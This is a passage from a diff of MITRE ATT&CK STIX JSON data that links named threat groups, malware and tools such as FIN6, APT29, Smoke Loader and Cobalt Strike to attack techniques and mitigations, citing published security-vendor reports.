"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:34:23.926Z", + "type": "relationship", + "id": "relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72cf04c6-5e0b-4743-9386-88f1f1f45899", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "modified": "2019-06-24T19:07:12.536Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used RDP to move laterally in victim networks.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.558Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:23:59.790Z", + "type": "relationship", + "id": "relationship--2b8ab0c4-1226-40b6-a01e-368fafd7155c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses net.exe to connect to network shares using net use commands with compromised credentials.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f43ab4db-5dea-4a1f-977a-f5d779330193", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "modified": "2019-03-22T20:09:34.698Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraCharlie uses RDP for propagation.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.305Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open links or attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3f122f1-998f-4079-afad-7a59e39f89b7", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.151Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:10:33.034Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d", + "external_references": [ + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + } + ], + "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d17517a1-f941-46a0-bcb6-d2a5b94cb24b", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.709Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses HTTP, HTTPS, FTP, and FTPS to communicate with the C2 server. [Kazuar](https://attack.mitre.org/software/S0265) can also act as a webserver and listen for inbound HTTP requests through an exposed API.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abf2b5db-184b-42af-bb52-e018977ca870", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.571Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2174c465-8855-4c92-a683-97eb0eba9f7c", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.098Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:21:20.607Z", + "type": "relationship", + "id": "relationship--396287ea-36d9-4d84-bf22-af559eb20f58", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a command-line interface to interact with systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.177Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called BruteForcer to perform a brute force attack.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.382Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Recent versions of [Cherry Picker](https://attack.mitre.org/software/S0107) delete files and registry keys created by the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b", + "external_references": [ + { + "source_name": "Trustwave Cherry Picker", + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) has several commands to delete files associated with the malware from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [FinFisher](https://attack.mitre.org/software/S0182) variant uses DLL search order hijacking.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--328825fa-a589-4c16-abef-7e3663f1f6ec", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "modified": "2019-07-14T21:44:44.139Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:33:12.873Z", + "type": "relationship", + "id": "relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) encrypts C2 traffic using an RC4 key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.918Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86461465-cb29-4fc9-8fa8-8956c0f94536", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.277Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4784901-968c-4fb1-b0d3-0268d4c40582", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). 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Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-08T14:33:15.905Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54", + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.123Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) uses a custom packing algorithm.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 1", + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. 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Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can download additional files.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4cc8afb8-86ab-4537-926f-3178975a7886", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:31.832Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of taking screenshots.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09c63f56-1c5b-4195-9d1a-73b77865ffb8", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "modified": "2019-05-14T19:15:24.314Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:00:47.386Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a29dd75-31b1-4385-beb9-e093851849f6", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) queries the Registry to determine the correct Startup path to use for persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new service on the remote system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--292248d9-30b0-4de3-9041-407db4e78f78", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 